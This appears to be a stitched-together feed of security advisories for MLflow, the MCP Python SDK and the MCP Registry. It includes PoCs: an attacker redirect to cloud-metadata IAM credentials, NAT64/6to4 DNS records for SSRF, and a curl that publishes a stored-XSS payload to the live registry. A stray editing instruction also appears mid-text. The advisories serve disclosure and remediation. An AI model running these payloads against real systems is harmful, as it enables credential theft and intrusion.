Summary The default MLflow Tracking Server (mlflow server, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous POST /api/2.0/mlflow/webhooks/{id}/test endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (validatewebhookurl, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no allowredirects=False) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns 302 Location: http://169.254.169.254/... (or http://127.0.0.1:...); MLflow follows it and never re-validates the redirect target. Because /test reflects the response body, this is an unauthenticated full-read SSRF on a default server.

Details Three facts combine:

1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (mlflow/server/auth/init.py, WEBHOOKBEFOREREQUESTHANDLERS), which is not loaded by default.

2. The guard validates but pins nothing — mlflow/utils/validation.py validatewebhookurl: python schemes = MLFLOWWEBHOOKALLOWEDSCHEMES.get() # default ["https"] if parsedurl.scheme not in schemes: raise ... if not MLFLOWWEBHOOKALLOWPRIVATEIPS.get(): # default False for addrinfo in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(addrinfo[4][0]) if not ip.isglobal: raise ... # blocks RFC1918/loopback/link-local/metadata The resolved IP is never carried into the connection.

3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py: python def createwebhooksession(): adapter = HTTPAdapter(maxretries=retrystrategy) # retry only; no IP pinning ... def sendwebhookrequest(webhook, payload, event, session): validatewebhookurl(webhook.url) # re-validates the ORIGINAL url only return session.post(webhook.url, data=payloadbytes, headers=headers, timeout=timeout) # no allowredirects=False -> 302 followed; redirect Location never re-validated testwebhook returns responsestatus and responsebody to the caller. Bypass vectors:

Redirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it. DNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.

PoC All requests are unauthenticated, sent to the MLflow tracking server ({{TARGET}}). The SSRF fetch is performed by the MLflow server itself; the internal response is reflected back in the /test response. {{ATTACKER}} is a host the researcher controls that resolves to a public IP and serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.

Attacker redirect server (on {{ATTACKER}}, valid TLS cert): nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }

Step 0 — negative control (proves the guard is active; the naive internal URL is rejected):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"neg","url":"http://127.0.0.1:6379/","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 400 {"message":"Invalid webhook URL scheme: 'http'. Allowed schemes are: https."} (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)

<img width="1154" height="437" alt="image" src="https://github.com/user-attachments/assets/509f3a14-8774-4785-b99a-864f0b448019" />

Step 1 — create a webhook pointing at the attacker's public HTTPS host (passes validatewebhookurl):

POST /api/2.0/mlflow/webhooks HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTEREDMODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhookid":"<WEBHOOKID>", ... ,"status":"ACTIVE"}}

<img width="1394" height="520" alt="image" src="https://github.com/user-attachments/assets/9004705f-67e1-486f-a905-1f744eb3636d" />

Step 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:

POST /api/2.0/mlflow/webhooks/<WEBHOOKID>/test HTTP/1.1 Host: {{TARGET}} Content-Type: application/json

{"webhookid":"<WEBHOOKID>","event":{"entity":"REGISTEREDMODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"responsestatus":200, "responsebody":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

<img width="1399" height="453" alt="image" src="https://github.com/user-attachments/assets/1e5bb020-0855-4be8-a53b-e97daeabf1dc" />

Confirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting to a local secret service, Step 2 returned: "responsebody":"INTERNALSECRET=mlflowssrfproof7f3a91\nrole=admin\n"

For convenience, the "my secret data" is saved in the same location.

<img width="730" height="208" alt="image" src="https://github.com/user-attachments/assets/680e1895-6d2e-4fd7-838f-c484561b6e5c" />

Notes: - Webhook events enum values must be UPPERCASE proto names (REGISTEREDMODEL, CREATED); lowercase maps to ENTITYUNSPECIFIED and 500s. - Default allowed scheme is https only; the first hop must be https, the redirect Location may be http. - Webhooks require a SQL store; the default mlflow server (sqlite:///mlflow.db) qualifies. No auth needed.

- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.

Impact An unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).

Fix

Fixed in https://github.com/mlflow/mlflow/pull/24258 (commit ba94952247), which adds connection-time SSRF protection (SSRFProtectedHTTPAdapter): the peer IP of each connected socket is validated against public-IP rules immediately after connect(), before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.

Redirect variants

The same missing re-validation enables two distinct primitives depending on the redirect status code:

- 302 (read): the redirect target is fetched with GET and, because POST /api/2.0/mlflow/webhooks/{id}/test reflects the upstream response body (WebhookTestResult.responsebody), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services). - 307 / 308 (blind write): these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon /stop, Elasticsearch /close, Spring Boot Actuator /shutdown).

Neither requires authentication on a default OSS server.

Then add a fix reference near the top or in a "Remediation" note:

Summary In affected versions, the deprecated WebSocket server transport (mcp.server.websocket.websocketserver) accepted the WebSocket handshake without applying any Host or Origin header validation. The TransportSecuritySettings mechanism that the SSE and Streamable HTTP transports use for this purpose was not wired into the WebSocket transport, so there was no SDK-level way to restrict which origins could connect.

Am I affected? Only if a developer's application server exposes mcp.server.websocket.websocketserver. This transport has never been part of the MCP specification, is marked deprecated, and is not reachable through FastMCP — a developer must have wired it into an ASGI application themselves. Servers using stdio, SSE, or Streamable HTTP are not affected by this advisory.

Details websocketserver() constructed a Starlette WebSocket and called accept(subprotocol="mcp") immediately, with no inspection of the connection's headers. By contrast, SseServerTransport and StreamableHTTPServerTransport accept an optional securitysettings: TransportSecuritySettings and run TransportSecurityMiddleware.validaterequest() against the incoming Host and Origin headers before establishing a session. Because browsers attach an Origin header to cross-origin WebSocket upgrade requests but do not enforce a same-origin policy on the response, a web page served from any origin could open a WebSocket to a reachable MCP server on this transport, complete the initialize handshake, and issue JSON-RPC requests on the resulting session.

Impact A user who runs an MCP server on this transport bound to localhost or a LAN address, without a separate authentication or origin gate in front of it, and visits a malicious web page, can have that page enumerate and invoke the server's tools and read its resources. The consequences depend entirely on what the server exposes. The transport itself requires no token or prior session. Some browsers prompt before allowing a public page to open a connection to a local-network address, which adds a user-interaction step but is not a substitute for server-side validation.

Mitigation Upgrade to version 1.28.1 or later, in which websocketserver() accepts the same optional securitysettings: TransportSecuritySettings argument as the other HTTP-based transports and validates the Host and Origin headers before accepting the handshake; a request that fails validation is rejected with HTTP 403 and ValueError("Request validation failed") is raised to the caller. As with the other transports the parameter defaults to None, which leaves validation disabled, so upgrading alone does not change behaviour: pass a TransportSecuritySettings with enablednsrebindingprotection=True and appropriate allowedhosts / allowedorigins to receive the protection. The recommended path remains to migrate off this deprecated transport to Streamable HTTP, where FastMCP enables this protection automatically for localhost binds. The WebSocket transport has been removed entirely in v2.

Summary In affected versions, the default request handlers installed by the experimental tasks feature (server.experimental.enabletasks()) did not check which session created a task before acting on it. On a server with more than one connected client, any client could observe, read results from, and cancel tasks belonging to other clients.

Am I affected? Only if the developer's application server calls server.experimental.enabletasks(). If grep -r enabletasks over their codebase finds nothing, the application is not affected.

Details When tasks support is enabled on the low-level server, default handlers are registered for tasks/list, tasks/get, tasks/result, and tasks/cancel. These handlers operated on the task identifier alone and kept no record of the session that created each task. Because tasks/list returned every task in the store, a connected client did not need to know any identifiers in advance: it could enumerate all tasks, read any task's status and result via tasks/get and tasks/result, retrieve queued task messages — such as elicitation requests intended for the task's creator, which are removed from the queue on delivery, so the intended recipient never receives them — and cancel any task via tasks/cancel.

Impact Servers that call server.experimental.enabletasks() and serve multiple clients are affected: one client can read other clients' task results and elicitation payloads, consume messages meant for them, and cancel their tasks. The feature is experimental and opt-in, so servers that never enable it are unaffected. Servers that registered their own task handlers instead of the defaults are affected only if those handlers have the same omission.

Mitigation Upgrade to version 1.27.2 or later, in which task IDs generated by runtask() embed an opaque per-session marker and the default handlers restrict each session to its own tasks: requests for another session's task receive "task not found", and tasks/list returns only the requesting session's tasks. Tasks created with explicitly chosen IDs or written directly through a TaskStore remain reachable by ID but are not listed. Alternatively, leave the experimental tasks feature disabled, or register task handlers that validate session ownership.

Summary In affected versions, the SSE and Streamable HTTP server transports routed incoming requests to an existing session based only on the session identifier, without verifying that the request was authenticated as the same principal that created the session. Anyone who learned or guessed a session ID could send JSON-RPC messages on that session, regardless of which bearer token the request carried.

Am I affected? Only if a developer's application server uses an HTTP transport (SSE, or Streamable HTTP in stateful mode) and authenticates requests. Servers on stdio, stateless Streamable HTTP, or with no authentication configured are not affected.

Details Both transports look up the target session by its identifier alone — the sessionid query parameter for SSE (mcp.server.sse.SseServerTransport) and the Mcp-Session-Id header for Streamable HTTP (mcp.server.streamablehttpmanager.StreamableHTTPSessionManager). Once the lookup succeeded, the request was handled on that session without comparing its authentication context to the credentials presented when the session was created, so a request authenticated as a different OAuth client could inject messages into the session. On the SSE transport the response is delivered to the original client's event stream; on the Streamable HTTP transport it is returned on the injecting request, so the injecting client can also read the result. The SSE transport has been affected since the first release; the Streamable HTTP transport since version 1.8.0.

Impact Servers using either HTTP transport together with the SDK's built-in bearer-token authentication are affected: the per-client isolation that authentication provides can be bypassed for any session whose ID is known. Session IDs are randomly generated UUIDs, so exploitation requires obtaining one out of band (logs, network observation). Servers that do not enable bearer-token authentication have no per-client isolation to bypass and are not addressed by this advisory, and stateless Streamable HTTP deployments do not maintain sessions and are unaffected.

Mitigation Upgrade to version 1.27.2 or later, which records the authenticated principal that created each session — the OAuth client ID together with the token's issuer and subject when the token verifier supplies them — and answers requests presenting a different principal with the same 404 response as for an unknown session.

Deployments where many end users share a single OAuth client (hosted MCP clients, gateways) should ensure their token verifier populates AccessToken.subject (e.g. from the token's sub claim) so sessions are isolated per user rather than per client. Deployments using a custom authentication backend other than the built-in BearerAuthBackend should enforce an equivalent check themselves.

In MLflow versions prior to 3.14.0, when running with authentication enabled, the trace API endpoints lack proper authorization validators. This allows any authenticated user to bypass experiment-level authorization controls on all trace operations, including reading, deleting, and modifying traces on experiments they do not have permission to access. The issue arises from the beforerequest handler, which does not register authorization validators for trace endpoints, resulting in requests proceeding without validation. This vulnerability can expose sensitive data, destroy audit logs, and allow unauthorized modifications.

A vulnerability has been found in MLflow up to 4666cffc7912ea606d592fc38d6a75e2935f65e7. The impacted element is an unknown function of the component Experiment-scoped Label Schema CRUD API. Such manipulation leads to missing authorization. It is possible to launch the attack remotely. A high complexity level is associated with this attack. The exploitability is regarded as difficult. The exploit has been disclosed to the public and may be used. A reply to the GitHub issue explains, that "[t]he labeling schema PR has not been merged yet. The auth handlers will be added before the release."

A flaw has been found in MLflow up to 3.10.0. This issue affects the function mlflow.data.digestutils of the file mlflow/data/digestutils.py of the component Dataset Digest Computation. This manipulation causes use of weak hash. It is possible to launch the attack on the local host. The attack is considered to have high complexity. The exploitability is assessed as difficult. The exploit has been published and may be used. The project was informed of the problem early through a pull request but has not reacted yet.

A vulnerability in mlflow/mlflow versions prior to 3.11.0 allows for the resolution of environment variables in AI Gateway secrets, which can be exploited to exfiltrate sensitive server-side environment credentials to an attacker-controlled endpoint. This issue arises because the apikey field in gateway secrets can accept $ENVVAR references, which are resolved against the MLflow server's environment during runtime. The resolved secrets are then sent in provider authentication headers to the configured upstream apibase. This vulnerability can be exploited by low-privileged authenticated users in basic-auth deployments or by unauthenticated users in default deployments without basic-auth. The impact includes potential leakage of sensitive credentials such as cloud artifact credentials (AWSACCESSKEYID, AWSSECRETACCESSKEY), which could lead to artifact poisoning and cross-boundary code execution in downstream environments. The issue is fixed in version 3.11.0.

MLflow 3.9.0 with basic-auth (--app-name basic-auth) fails to enforce authorization checks for multiple Gateway API 'list' endpoints. Specifically, the BEFOREREQUESTHANDLERS dictionary in mlflow/server/auth/init.py does not include entries for ListGatewaySecretInfos, ListGatewayEndpoints, and ListGatewayModelDefinitions. This allows any authenticated user, regardless of their assigned permissions, to enumerate all gateway secrets, endpoints, and model definitions. This vulnerability exposes sensitive information, such as API keys, endpoint configurations, and proprietary model definitions, to unauthorized users.

A vulnerability in MLflow versions <=3.10.1.dev0 allows unauthorized access to multipart upload (MPU) endpoints when the --serve-artifacts mode is enabled. The authorization logic does not enforce resource-level permission checks for /mlflow-artifacts/mpu/ endpoints, enabling attackers to overwrite artifacts belonging to other users. This can lead to unauthorized cross-user writes, model supply chain poisoning, and arbitrary code execution when compromised models are loaded. The issue is resolved in version 3.10.0.

In mlflow/mlflow versions up to 3.9.0, the SearchModelVersions REST API endpoint and the mlflowSearchModelVersions GraphQL query lack proper per-model authorization checks when basic authentication is enabled. This allows any authenticated user to enumerate all model versions across all registered models, regardless of their permission level. The issue arises due to the absence of SearchModelVersions in the BEFOREREQUESTVALIDATORS and AFTERREQUESTHANDLERS for the REST API, and its omission from GraphQLAuthorizationMiddleware.PROTECTEDFIELDS for GraphQL. This vulnerability can expose sensitive information such as model names, version descriptions, source URIs, tags, and other metadata, potentially revealing proprietary or confidential details in multi-tenant environments. The issue is resolved in version 3.10.0.

In MLflow version 3.9.0, the MLflow Assistant feature introduced improper origin validation in its /ajax-api endpoints. This vulnerability allows a remote attacker to exploit cross-origin requests from a malicious webpage to interact with the MLflow Assistant running on a victim's local machine. By bypassing the loopback-only restriction, the attacker can modify the Assistant's configuration to enable full access, which in turn allows the execution of arbitrary commands via the Claude Code sub-agent. This issue is resolved in version 3.10.0.

In mlflow/mlflow versions prior to 3.11.0, the getorcreatenfstmpdir() function in mlflow/utils/fileutils.py creates temporary directories with world-writable permissions (0o777), and the createmodeldownloadingtmpdir() function in mlflow/pyfunc/init.py creates directories with group-writable permissions (0o770). These insecure permissions allow local attackers to tamper with model artifacts, such as cloudpickle-serialized Python objects, and achieve arbitrary code execution when the tampered artifacts are deserialized via cloudpickle.load(). This vulnerability is particularly critical in environments with shared NFS mounts, such as Databricks, where NFS is enabled by default. The issue is a continuation of the vulnerability class addressed in CVE-2025-10279, which was only partially fixed.

A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (--app-name basic-auth) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on /gateway/ routes, leaving other routes such as the Job API (/ajax-api/3.0/jobs/) and the OpenTelemetry trace ingestion API (/v1/traces) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the findfastapivalidator() function fails to handle non-/gateway/ paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.

A vulnerability in the createmodelversion() handler of mlflow/server/handlers.py in mlflow/mlflow versions 3.9.0 and earlier allows an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The issue arises when a CreateModelVersion request includes the tag mlflow.prompt.isprompt, which bypasses source path validation. This enables an attacker to store an arbitrary local filesystem path as the model version source. The getmodelversionartifacthandler() function later uses this source to serve files without verifying the model version's prompt status, leading to a complete confidentiality compromise. This issue is fixed in version 3.10.0.

A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The createwebhook() function in mlflow/server/handlers.py accepts a user-controlled url parameter without validation, and the sendwebhookrequest() function in mlflow/webhooks/delivery.py sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.

Summary

The Registry's HTTP-based namespace verification (POST /v0/auth/http, POST /v0.1/auth/http) uses safeDialContext (internal/api/handlers/v0/auth/http.go:67-110) to refuse dialling private/internal addresses when fetching the well-known public-key file from a publisher-supplied domain. The blocklist (isBlockedIP, lines 125-133) relies entirely on Go stdlib's IsLoopback / IsPrivate / IsLinkLocalUnicast / IsMulticast / IsUnspecified plus a manual CGNAT range. None of these cover IPv6 6to4 (2002::/16), NAT64 (64:ff9b::/96 and 64:ff9b:1::/48 per RFC 8215), or deprecated site-local (fec0::/10) — all of which encode arbitrary IPv4 in the address bits and tunnel to RFC1918 / cloud-metadata services on dual-stack / NAT64-enabled hosts.

This is the same CWE-918 SSRF class fixed in GHSA-56c3-vfp2-5qqj on czlonkowski/n8n-mcp (CVSS 8.5 HIGH). The remediation pattern is identical: extend the blocklist with the IPv6 prefix families that embed IPv4.

The endpoint is unauthenticated — it is the login flow itself — so attack complexity is low aside from the host-level routing dependency.

Affected: latest main HEAD 23f4fda and current production v1.7.6 deployment at https://registry.modelcontextprotocol.io/v0/auth/http.

Details

Vulnerable code

internal/api/handlers/v0/auth/http.go:125-133:

go func isBlockedIP(ip net.IP) bool { if ip == nil { return true } return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsMulticast() || ip.IsUnspecified() || cgnatRange.Contains(ip) }

Per Go source (src/net/ip.go), the relevant stdlib helpers cover:

| Helper | IPv6 coverage | |---|---| | IsLoopback | ::1, IPv4-mapped of 127/8 (via To4() fast-path) | | IsPrivate | ULA fc00::/7 only — ip[0]&0xfe == 0xfc | | IsLinkLocalUnicast | fe80::/10 only — ip[1]&0xc0 == 0x80 (NOT fec0::/10 which is 0xc0) | | IsMulticast | ff00::/8 | | IsUnspecified | :: |

The Registry's blocklist therefore does not cover:

| Prefix | Defined in | Why dangerous | |---|---|---| | 2002::/16 | RFC 3056 (6to4) | Bits 16-47 embed an arbitrary IPv4 address. 2002:a9fe:a9fe:: is the 6to4 encoding of 169.254.169.254 (AWS / Azure metadata). 2002:0a00:0001:: encodes 10.0.0.1. On hosts with 6to4 routing or any explicit 2002::/16 route, the dial reaches the embedded IPv4. | | 64:ff9b::/96 | RFC 6052 (NAT64 well-known prefix) | Low 32 bits embed an IPv4 address. 64:ff9b::a9fe:a9fe translates to 169.254.169.254 on any NAT64-enabled network — which is the default in IPv6-only GKE node pools, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64, and DNS64/NAT64 corporate networks. | | 64:ff9b:1::/48 | RFC 8215 (local-use NAT64) | Same tunnelling concern, intended for operator-defined NAT64. | | fec0::/10 | RFC 3879 (deprecated site-local) | Some BSD / older Linux stacks still honour these for routing into site-local internal networks. |

safeDialContext resolves DNS once and dials by IP (good — pins against rebinding TOCTOU), but the IP-allowlist gate is the security boundary, and that gate is incomplete.

Exposure surface

POST /v0/auth/http (and POST /v0.1/auth/http) is registered in internal/api/handlers/v0/auth/http.go:197-218 and routed unauthenticated in internal/api/router/v0.go:24,39:

go huma.Register(api, huma.Operation{ OperationID: "exchange-http-token...", Method: http.MethodPost, Path: pathPrefix + "/auth/http", Summary: "Exchange HTTP signature for Registry JWT", ... }, func(ctx context.Context, input HTTPTokenExchangeInput) (...) { response, err := handler.ExchangeToken(ctx, input.Body.Domain, ...) ... })

The handler builds https://<attacker-domain>/.well-known/mcp-registry-auth (line 143) and dials via the safeDialContext-equipped client. The domain parameter is taken verbatim from the unauthenticated POST body.

Critical order-of-operations confirmation in CoreAuthHandler.ExchangeToken (internal/api/handlers/v0/auth/common.go:246-265):

1. ValidateDomainAndTimestamp(domain, timestamp) — domain format check (no IP literal, must contain dot) 2. DecodeAndValidateSignature(signedTimestamp) — hex decode 3. keyFetcher(ctx, domain) ← SSRF dial happens here 4. VerifySignatureWithKeys(...) ← only AFTER fetch

So the SSRF dial fires before any signature verification. Attacker needs only a valid RFC3339 timestamp (±15s window) and any hex string for signedTimestamp.

PoC

Tested against main HEAD 23f4fda (make dev-compose boots Registry on localhost:8080).

Step 1 — Set up attacker DNS

Configure attacker.example with the AAAA records:

attacker-6to4.example. AAAA 2002:a9fe:a9fe:: ; 6to4 -> 169.254.169.254 attacker-nat64.example. AAAA 64:ff9b::a9fe:a9fe ; NAT64 -> 169.254.169.254 attacker-rfc1918.example. AAAA 64:ff9b::a00:0001 ; NAT64 -> 10.0.0.1

(Equivalent free options: a domain on Cloudflare with manual AAAA, or a requestbin-style service with custom DNS.)

Step 2 — Trigger the dial (no credentials required)

bash curl -i https://registry.modelcontextprotocol.io/v0/auth/http \ -H 'Content-Type: application/json' \ -d "{\"domain\":\"attacker-nat64.example\",\"timestamp\":\"$(date -u +%Y-%m-%dT%H:%M:%SZ)\",\"signedTimestamp\":\"00\"}"

Timestamp need only be within ±15s of server clock. signedTimestamp is any hex string — it is decoded but only verified AFTER FetchKey has already dialled.

Step 3 — Observe

On a NAT64-enabled host (default in IPv6-only GKE / AWS IPv6 nodes / Cloudflare WARP), the server-side dial reaches 169.254.169.254:443. Tcpdump on the registry host confirms the outbound TLS handshake to the embedded IPv4. Where 169.254.169.254 listens on a TLS port (most cloud metadata services do not, but kube-apiserver, internal admin panels, and bespoke IPv4 services do), the connection completes and the response (limited to 4 KiB by MaxKeyResponseSize) is consumed as a key candidate.

For hosts without 6to4 / NAT64 routing, the dial fails with no route to host rather than refusing to connect to private or loopback address — proving the gate did not block. The differential error message provides a blind-SSRF oracle for probing internal services for existence / TLS port reachability.

Expected behaviour after fix

isBlockedIP should return true for any IPv6 address in the prefix families listed above, mirroring the n8n-mcp isPrivateOrMappedIpv6 helper (GHSA-56c3-vfp2-5qqj patch). Reference implementation:

go func isBlockedIPv6Prefix(ip net.IP) bool { v6 := ip.To16() if v6 == nil || ip.To4() != nil { return false } // 6to4 (2002::/16) if v6[0] == 0x20 && v6[1] == 0x02 { return true } // NAT64 well-known 64:ff9b::/96 if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 { return true } // NAT64 RFC 8215 local-use 64:ff9b:1::/48 if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b && v6[4] == 0x00 && v6[5] == 0x01 { return true } // Site-local fec0::/10 (deprecated, RFC 3879 -- still honoured by some stacks) if v6[0] == 0xfe && (v6[1]&0xc0) == 0xc0 { return true } return false }

Then extend the call site:

go return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsMulticast() || ip.IsUnspecified() || cgnatRange.Contains(ip) || isBlockedIPv6Prefix(ip)

A regression test fixture should set up a stub resolver returning each of the four prefix families and assert that safeDialContext returns the "private/loopback" error before any dial.

Impact

CWE: CWE-918 Server-Side Request Forgery (consistent with parent precedent GHSA-56c3-vfp2-5qqj).

CVSS:3.1: matching the n8n-mcp precedent (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N ~= 8.5 HIGH). AC = High because exploitation depends on the registry host having NAT64 or 6to4 routing — the default on IPv6-only and dual-stack cloud network plans (GKE IPv6, AWS IPv6-only EC2, Azure IPv6 VMs with NAT64) but not on plain-IPv4 deployments. Privileges = None (the endpoint is the login flow itself).

For the official https://registry.modelcontextprotocol.io deployment specifically, this lets an unauthenticated attacker reach any IPv4 address that is routable from the registry's outbound interface — including AWS / GCP / Azure metadata services if hosted on a cloud VM with metadata enabled, internal Kubernetes API servers, internal admin panels, etc. The 4 KiB response cap (MaxKeyResponseSize) limits exfiltrated content per request but does not prevent fingerprinting / oracle attacks (status-code differential, response-length differential).

Self-hosters running the registry on dual-stack / IPv6-only infrastructure are equally exposed.

Why this slipped past PR #1227

The April 29 hardening batch (commit 1201cbd, "security: fix open redirect and add small hardening") explicitly added safeDialContext to block "loopback, RFC1918, link-local, multicast, CGNAT, or IP-literal/single-label" addresses. The author correctly identified the IPv4 attack surface and the link-local cloud-metadata vector, but composed the blocklist from Go's per-class stdlib helpers — which collectively miss the IPv6 prefix families that embed IPv4. The same gap was caught and fixed in n8n-mcp (GHSA-56c3-vfp2-5qqj). No commits in git log --since=2026-03-01 internal/api/handlers/v0/auth/http.go reference 6to4 / NAT64 / site-local.

Credit

Reported by Matteo Panzeri (GitHub: matte1782).

Summary

The public catalogue UI served at GET / (file internal/api/handlers/v0/uiindex.html) is vulnerable to stored cross-site scripting via the server.websiteUrl field of any published server.json. Server-side validation in internal/validators/validators.go (validateWebsiteURL) only checks that the URL parses, is absolute, and uses the https scheme; it does not reject quote characters. Client-side, the value is interpolated into a double-quoted href attribute via innerHTML, using a homegrown escapeHtml helper that performs the standard textContent → innerHTML round-trip. Per the HTML serialisation algorithm, that round-trip encodes only &, <, > and U+00A0 inside text nodes — it does not encode " or '. A literal " in websiteUrl therefore breaks out of the href attribute, allowing arbitrary on event handlers to be appended to the same <a> element. The Content-Security-Policy on / is script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com, so the injected event handlers execute.

Any user able to obtain a publish token (e.g. via POST /v0/auth/github-at with their own GitHub account, or POST /v0/auth/none on a deployment that has anonymous auth enabled) can plant a poisoned record visible to every visitor of the registry homepage.

Affected component

- Validator: internal/validators/validators.go — validateWebsiteURL (lines 153–199) - Sink: internal/api/handlers/v0/uiindex.html — toggleDetails(card, item) at line 432, the href attribute built around escapeHtml(server.websiteUrl) - Helper: escapeHtml defined at internal/api/handlers/v0/uiindex.html lines 494–498

Proof of concept

1. Obtain a Registry JWT for any namespace you control (a GitHub OAuth exchange against a throwaway account suffices):

bash TOKEN=$(curl -sS -X POST https://registry.modelcontextprotocol.io/v0/auth/github-at \ -H 'Content-Type: application/json' \ -d '{"githubtoken":"<gh-pat>"}' | jq -r .registrytoken)

2. Publish a server with a poisoned websiteUrl. The literal " is preserved end-to-end:

bash curl -sS -X POST https://registry.modelcontextprotocol.io/v0/publish \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ --data-binary @- <<'EOF' { "$schema": "https://static.modelcontextprotocol.io/schemas/2025-09-29/server.schema.json", "name": "io.github.<your-account>/xss-poc", "version": "0.0.1", "description": "hover the website link", "websiteUrl": "https://example.com/\"onmouseover=alert(document.domain)//" } EOF

3. Visit https://registry.modelcontextprotocol.io/, search for xss-poc, click the card to expand it, then hover the Website link in the details panel. The injected onmouseover fires and alert(document.domain) runs on the registry.modelcontextprotocol.io origin.

Why server-side validation does not catch this

Go's net/url.Parse accepts literal " in the path component:

input="https://example.com/\"onmouseover=alert(1)//" IsAbs=true Scheme="https" Path="/\"onmouseover=alert(1)//"

Neither the Huma format:"uri" annotation nor validateWebsiteURL's scheme/IsAbs triplet rejects this string. The architecture's existing protection — repository.url is regex-locked to ^https?://(www\.)?github\.com/[\w.-]+/[\w.-]+/?$ and therefore cannot contain quotes — does not extend to websiteUrl, which has no allowlist.

Why client-side escapeHtml does not catch this

js function escapeHtml(text) { const div = document.createElement('div'); div.textContent = text; return div.innerHTML; }

Per the HTML5 spec (§13.3 Serialising HTML fragments), the only characters encoded inside the text content of an element are &, <, >, and U+00A0. " and ' are not encoded because in a text-content context they are not special. The helper is therefore safe in element-text contexts (where it is correctly used for name, version, description, etc.) but unsafe inside an attribute value, which is precisely where it is invoked for href on lines 432 and 426.

Impact

- Stored XSS on the official MCP Registry homepage. The malicious entry sits in the public catalogue alongside legitimate ones; any user expanding the entry triggers the payload. - Because the page is served on the official registry.modelcontextprotocol.io origin, the injected script can: - Read and overwrite localStorage (baseUrl, customUrl), pinning the user's subsequent reads to an attacker-controlled "Custom" base URL. - Issue any same-origin or cross-origin XHR (connect-src is granted). - Phish for Registry JWTs by injecting fake auth flows on the trusted origin. - The CSP script-src 'self' 'unsafe-inline' https://cdn.tailwindcss.com does not block this because 'unsafe-inline' permits inline event-handler attributes.

Suggested remediation (any one suffices)

1. Replace the homegrown escapeHtml with an attribute-safe encoder that also escapes ", ', backtick, and = — the OWASP HTML attribute-encoding rule. 2. Avoid building the href via string templates. Use setAttribute('href', value) instead — setAttribute is not subject to HTML tokenisation, so no breakout is possible. 3. Tighten validateWebsiteURL to reject any URL whose raw bytes contain ", ', <, >, , \t, or \n, or — conservatively — store the canonical re-serialised form (parsedURL.String() percent-encodes such characters in the path). 4. Drop 'unsafe-inline' from script-src after auditing the inline scripts on the page.

Approach (3) is the smallest server-side change and immediately neutralises the exploit for any new publishes; approaches (1) or (2) close the class of bug at the sink so future fields with similar patterns are safe by default.

[SECURITY] registry001 Vulnerability Report

While analyzing the code logic, an area that may lead to unintended behavior under specific conditions was discovered.

